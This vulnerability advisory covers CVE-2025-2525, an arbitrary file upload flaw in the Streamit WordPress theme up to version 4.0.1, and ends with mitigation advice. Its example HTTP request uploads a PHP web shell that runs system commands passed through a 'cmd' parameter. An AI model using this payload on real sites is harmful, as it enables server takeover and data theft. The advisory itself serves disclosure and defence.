Overview
The cybersecurity landscape is frequently punctuated by the emergence of new vulnerabilities, requiring constant vigilance from developers and users alike. The most recent addition to this ever-growing list is CVE-2025-2525, a significant vulnerability identified in the Streamit theme for WordPress, which affects all versions up to, and including, 4.0.1. This vulnerability could allow authenticated attackers with subscriber-level and above permissions to upload arbitrary files onto the affected site’s server. In a worst-case scenario, this could facilitate remote code execution, potentially leading to system compromise or significant data leakage.
Vulnerability Summary
CVE ID: CVE-2025-2525
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level permissions)
User Interaction: Required
Impact: Potential system compromise and data leakage, with the possibility of remote code execution
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Streamit WordPress Theme | Up to and including 4.0.1
How the Exploit Works
The vulnerability stems from a lack of file type validation in the ‘st_Authentication_Controller::edit_profile’ function in the Streamit theme for WordPress. Consequently, this allows a subscriber-level attacker to upload arbitrary files to the server hosting the website. These arbitrary files, if crafted with malicious intent, could lead to remote code execution. This could potentially provide the attacker with access to sensitive data, or even control over the server, depending on the nature of the code in the uploaded file.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability. It involves a simple HTTP POST request to the vulnerable endpoint, with a malicious payload embedded within the request.
POST /edit-profile HTTP/1.1
Host: targetsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="userfile"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uploads a PHP file (malicious.php) that contains a simple command to execute system commands passed through the ‘cmd’ GET parameter. If successful, the attacker could run any command on the server, leading to a complete compromise of the system.
Mitigation Guidance
Affected users of the Streamit WordPress theme are advised to apply the vendor’s patch immediately. As a temporary measure, deploying a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help mitigate the impact of this vulnerability. However, these measures are not a substitute for applying the official patch from the vendor.